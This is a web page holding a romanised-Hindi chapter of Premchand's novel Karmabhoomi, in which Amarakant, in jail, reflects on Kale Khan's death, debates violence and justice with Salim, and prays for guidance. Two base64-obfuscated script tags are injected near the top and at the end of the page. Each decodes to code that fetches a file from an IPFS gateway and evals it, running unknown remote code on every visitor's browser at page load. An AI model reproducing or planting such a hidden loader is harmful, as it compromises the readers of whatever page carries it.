कर्मभूमि उपन्यास भाग-5 अध्याय-8

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kale khaan ke atm-samarpan ne amarakant ke jivan ko jaise koee adhar pradan kar diya. ab tak usake jivan ka koee lakshy n tha, koee adarsh n tha, koee vrat n tha. is mrityu ne unaki atma mean prakash-sa dal diya. kale khaan ki yad use ek kshan ke lie bhi n bhoolati aur kisi gupt shakti ki bhaanti use shaanti aur bal deti thi. vah usaki vasiyat is tarah poori karana chahata tha ki kale khaan ki atma ko svarg mean shaanti mile. gh di rat se uthakar kaidiyoan ka hal-chal poochhana aur unake gharoan par patr likhakar rogiyoan ke lie dava-daroo ka prabandh karana, unaki shikayatean sunana aur adhikariyoan se milakar shikayatoan ko door karana, yah sab usake kam the. aur in kamoan ko vah itani vinay, itani namrata aur sahridayata se karata ki amaloan ko bhi us par sandeh ki jagah vishvas hota tha. vah kaidiyoan ka bhi vishvasapatr tha aur adhikariyoan ka bhi.

ab tak vah ek prakar se upayogitavad ka upasak tha. isi sidhdaant ko man mean, yadyapi ajnat roop se, rakhakar vah apane kartavh‍y ka nishchay karata tha. tath‍v-chiantan ka usake jivan mean koee sthan n tha. pratyaksh ke niche jo athah gaharaee hai, vah usake lie koee mahattav n rakhati thi. usane samajh rakha tha, vahaan shoony ke siva aur kuchh nahian. kale khaan ki mrityu ne jaise usaka hath pak dakar balapoorvak use gaharaee mean duba diya aur usamean doobakar use apana sara jivan kisi trin ke saman oopar tairata hua dikh p da, kabhi laharoan ke sath age badhata hua, kabhi hava ke jhoankoan se pichhe hatata hua kabhi bhanvar mean p dakar chakkar khata hua. usamean sthirata n thi, sanyam n tha, ichchha n thi. usaki seva mean bhi danbh tha, pramad tha, dvesh tha. usane danbh mean sukhada ki upeksha ki. us vilasini ke jivan mean jo saty tha, us tak pahuanchane ka udyog n karake vah use tyag baitha. udyog karata bhi kya- tab use is udyog ka jnan bhi n tha. pratyaksh ne usi bhitar vali aankhoan par parada dalakar rakha tha. pramad mean usane sakina se prem ka svaang kiya. kya us unmad mean leshamatr bhi prem ki bhavana thi- us samay maloom hota tha, vah prem mean rat ho gaya hai, apana sarvasv us par arpan kie deta hai par aj us prem mean lipsa ke siva aur use kuchh n dikhaee deta tha. lipsa hi n thi, nichata bhi thi. usane us saral ramani ki hinavastha se apani lipsa shaant karani chahi thi. phir munni usake jivan mean aee, nirashaoan se bhagn, kamanaoan se bhari huee. us devi se usane kitana kapat vyavahar kiya yah saty hai ki usake vyavahar mean kamukata n thi. vah isi vichar se apane man ko samajha liya karata tha lekin ab atm-nirikshan karane par spasht jnat ho raha tha ki us vinod mean bhi, us anurag mean bhi kamukata ka samavesh tha. to kya vah vastav mean kamuk hai- isaka jo uttar usane svayan apane aant:karan se paya, vah kisi tarah shreyaskar n tha. usane sukhada par vilasita ka dosh lagaya par vah svayan usase kahian kutsit, kahian vishay-poorn vilasita mean lipt tha. usake man mean prabal ichchha huee ki donoan ramaniyoan ke charanoan par sir rakhakar roe aur kahe-deviyo, maianne tumhare sath chhal kiya hai, tumhean daga di hai. maian nich hooan, adham hooan, mujhe jo saza chahe do, yah mastak tumhare charanoan par hai.

pita ke prati bhi amarakant ke man mean shradhda ka bhav uday hua. jise usane maya ka das aur lobh ka ki da samajh liya tha, jise yah kisi prakar ke tyag ke ayogy samajhata tha, vah aj devatv ke ooanche sianhasan par baitha hua tha. pratyaksh ke nashe mean usane kisi nyayi, dayalu eeshvar ki satta ko kabhi svikar n kiya tha par in chamatkaroan ko dekhakar ab usamean vishvas aur nishtha ka jaise ek saphar-sa um d p da tha. use apane chhote-chhote vyavaharoan mean bhi eeshvariy ichchha ka abhas hota tha. jivan mean ab ek naya utsah tha. nee jagriti thi. harshamay asha se usaka rom-rom spandit hone laga. bhavishy ab usake lie aandhakaramay n tha. daivi ichchha mean aandhakar kahaan .

sandhh‍ya ka samay tha. amarakant pared mean kh da tha, usane salim ko ate dekha. salim ke charitr mean kayapalat hua tha, usaki use khabar mil chuki thi par yahaan tak naubat pahuanch chuki hai, isaka use guman bhi n tha. vah dau dakar salim ke gale se lipat gaya. aur bola- tum kvoob ae dost, ab mujhe yakin a gaya ki eeshvar hamare sath hai. sukhada bhi to yahian hai, janane jel mean. munni bhi a pahuanchi. tumhari kasar thi, vah bhi poori ho gee. maian dil mean samajh raha tha, tum bhi ek-n-ek din aoge, par itani jaldi aoge, yah ummid n thi. vahaan ki taja khabarean sunao. koee hangama to nahian hua-

salim ne vyangy se kaha-ji nahian, jara bhi nahian. hangame ki koee bat bhi ho- log maje se kha rahe haian aur gag ga rahe haian. ap yahaan aram se baithe hue haian n-

usane tho de-se shabdoan mean vahaan ki sari paristhiti kah sunaee-maveshiyoan ka kurk kiya jana, kasaiyoan ka ana, ahiroan ke muhal mean goliyoan ka chalana. ghosh ko patakakar marane ki katha usane vishesh ruchi se kahi.

amarakant ka muanh latak gaya-tumane sarasar nadani ki.

'aur ap kya samajhate the, koee panchayat hai, jahaan sharab aur hukke ke sath sara phaisala ho jaega?'

'magar phariyad to is tarah nahian ki jati?'

'hamane to koee riayat nahian chahi thi.'

'riayat to thi hi. jab tumane ek shart par zamin li, to iansaph yah kahata hai ki vah shart poori karo. paidavar ki shart par kisanoan ne zamin nahian joti thi balki salana lagan ki shart par. zamiandar ya sarakar ko paidavar ki kami-beshi se koee sarokar nahian hai.'

'jab paidavar ke mahange ho jane par lagan badha diya jata hai, to koee vajah nahian ki paidavar ke saste ho jane par ghata n diya jay. mandi mean tezika lagan vasool karana sarasar beiansaphi hai.'

'magar lagan lathi ke zor se to nahian badhaya jata, usake lie bhi to qanoon hai?'

salim ko vismay ho raha tha, aisi bhayanak paristhiti sunakar bhi amar itana shaant kaise baitha hua hai- isi dasha mean usane yah khabarean suni hotian, to shayad usaka khoon khaul uthata aur vah ape se bahar ho jata. avashy hi amar jel mean akar dab gaya hai. aisi dasha mean usane un taiyariyoan ko usase chhipana hi uchit samajha, jo ajakal daman ka mukabala karane ke lie ki ja rahi thian.

amar usake javab ki pratiksha kar raha tha. jab salim ne koee javab n diya, to usane poochha-to ajakal vahaan kaun hai- svamiji haian-

salim ne sakuchate hue kaha-svamiji to shayad pak de ge. mere bad hi vahaan sakina pahuanch gee.

'achchha sakina bhi parade se nikal aee- mujhe to usase aisi ummid n thi.'

'to kya tumane samajha tha ki ag lagakar tum use ek dayare ke aandar rok loge?'

amar ne chiantit hokar kaha-maianne to yahi samajha tha ki hamane hiansa bhav ko lagam de di hai aur vah kaboo se bahar nahian ho sakata.

'ap azadi chahate haian magar usaki kimat nahian dena chahate.'

'apane jis chiz ko azadi ki kimat samajh rakha hai, vah usaki kimat nahian hai. usaki kimat hai-hak aur sachchaee par jame rahane ki takat.'

salim uttojit ho gaya-yah phijool ki bat hai. jis chiz ki buniyad sabr par hai, us par hak aur iansaph ka koee asar nahian p d sakata.

amar ne poochha-kya tum ise taslim nahian karate ki duniya ka iantajam hak aur iansaph par qayam hai aur harek iansan ke dil ki gaharaiyoan ke aandar vah tar maujood hai, jo kurabaniyoan se jhankar uthata hai-

salim ne kaha-nahian, maian ise taslim nahian karata. duniya ka iantajam khudagaraji aur zor par qayam hai aur aise bahut kam iansan haian jinake dil ki gaharaiyoan ke aandar vah tar maujood ho.

amar ne muskarakar kaha-tum to sarakar ke khairakhvah naukar the. tum jel mean kaise a ge-

salim hansa-tumhare ishk mean .

'dada ko kisaka ishk tha?'

'apane bete ka.'

'aur sukhada ko?'

'apane shauhar ka.'

'aur sakina ko- aur munni ko- aur in saik doan adamiyoan ko, jo tarah-tarah ki sakhtiyaan jhel rahe haian?'

'achchha man liya ki kuchh logoan ke dil ki gaharaiyoan ke aandar yah tar hai magar aise adami kitane haian?'

'maian kahata hooan aisa koee adami nahian jisake aandar hamadardi ka tar n ho. haan, kisi par jald asar hota hai, kisi par der mean aur kuchh aise garaj ke bande bhi haian jin par shayad kabhi n ho.'

salim ne harakar kaha-to akhir ka tum chahate kya ho- lagan ham de nahian sakate. vah log kahate haian ham lekar chho deange. to kya karean- apana sab kuchh kurk ho jane dean- agar ham kuchh kahate haian, to hamare oopar goliyaan chalati haian. nahian bolate, to tabah ho jate haian. phir doosara kaun-sa rasta hai- ham jitana hi dabate jate haian, utana hi vah log sher hote haian. marane vala beshak diloan mean raham paida kar sakata hai lekin marane vala khauph paida kar sakata hai, jo raham se kahian jyada asar dalane vali chiz hai.

amar ne is prashn par mahinoan vichar kiya tha. vah manata tha, sansar mean pashubal ka prabhutv hai kiantu pashubal ko bhi nyay bal ki sharan leni p dati hai. aj balavan-se-balavan rasht' mean bhi yah sahas nahian hai ki vah kisi nirbal rasht' par khullam-khulla yah kahakar hamala kare ki 'ham tumhare oopar raj karana chahate haian isalie tum hamare adhin ho jao'. use apane paksh ko nyay-sangat dikhane ke lie koee-n-koee bahana talash karana p data hai. bola-agar tumhara khayal hai ki khoon aur katl se kisi kaum ki najat ho sakati hai, to tum sakht galati par ho. maian ise najat nahian kahata ki ek jamaat ke hathoan se takat nikalakar doosare jamaat ke hathoan mean a jay aur vah bhi talavar ke zor se raj kare. maian najat use kahata hooan ki iansan mean iansaniyat a jay aur iansaniyat ki sabr beiansaphi aur khudagaraji se dushmani hai.

salim ko yah kathan tath‍vahin maloom hua. muanh banakar bola-huzoor ko maloom rahe ki duniya mean pharishte nahian basate, adami basate haian.

amar ne shaant-shital hriday se javab diya-lekin kya tum dekh nahian rahe ho ki hamari iansaniyat sadiyoan tak khoon aur katl mean doobe rahane ke bad ab sachche raste par a rahi hai- usamean yah takat kahaan se aee- usamean khud vah daivi shakti maujood hai. use koee nasht nahian kar sakata. b di-se-b di fauji takat bhi use kuchal nahian sakati, jaise sookhi zamin mean ghas ki jade. p di rahati haian aur aisa maloom hota hai ki zamin saf ho gee, lekin pani ke chhiante p date hi vah j dean panap uthati haian, hariyali se sara maidan laharane lagata hai, usi tarah is kaloan aur hathiyaroan aur khudagarajiyoan ke jamane mean bhi hamamean vah daivi shakti chhipi huee apana kam kar rahi hai. ab vah jamana a gaya hai, jab hak ki avaz talavar ki jhankar ya top ki garaj se bhi jyada karagar hogi. b di-b di kaumean apani-apani fauji aur jahaji takatean ghata rahi haian. kya tumhean isase ane vale jamane ka kuchh aandazanahian hota- ham isalie gulam haian ki hamane khud gulami ki be diyaan apane pairoan mean dal li haian. janate ho ki yah be di kya hai- apas ka bhed. jab tak ham is be di ko katakar prem n karana sikheange, seva mean eeshvar ka roop n dekheange, ham gulami mean p de raheange. maian yah nahian kahata ki jab tak bharat ka harek vyakti itana bedar n ho jaega, tab tak hamari najat n hogi. aisa to shayad kabhi n ho par kam-se-kam un logoan ke aandar to yah roshani ani hi chahie, jo kaum ke sipahi banate haian. par hamamean kitane aise haian, jinhoanne apane dil ko prem se roshan kiya ho- hamamean ab bhi vahi ooanch-nich ka bhav hai, vahi svarth-lipsa hai, vahi ahankar hai.

bahar thand p dane lagi thi. donoan mitr apani-apani kothariyoan mean ge. salim javab dene ke lie utavala ho raha tha par vardan ne jaldi ki aur unhean uthana p da.

daravaza band ho gaya, to amarakant ne ek lanbi saans li aur phariyadi aankhoan se chhat ki taraph dekha. usake sir kitani b di zimmedari hai. usake hath kitane begunahoan ke khoon se range hue haian kitane yatim bachche aur abala vidhavaean usaka daman pak dakar khianch rahi haian. usane kyoan itani jaldabaji se kam kiya- kya kisanoan ki phariyad ke lie yahi ek sadhan rah gaya tha- aur kisi tarah phariyad ki avaz nahian uthaee ja sakati thi- kya yah ilaj bimari se jyada asadhh‍y nahian hai- in prashnoan ne amarakant ko pathabhrasht-sa kar diya. is manasik sankat mean kale khaan ki pratima usake sammukh a kh di huee. use abhas hua ki vah usase kah rahi hai-eeshvar ki sharan mean ja. vahian tujhe prakash milega.

amarakant ne vahian bhoomi par mastak rakhakar shuddh aant:karan se apane kartavh‍y ki jijnasa ki-bhagavanh, maian aandhakar mean p da hua hooan mujhe sidha marg dikhaie.

aur is shaant, din prarthana mean usako aisi shaanti mili, mano usake samane koee prakash a gaya hai aur usaki phaili huee roshani mean chikana rasta saf najar a raha hai.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>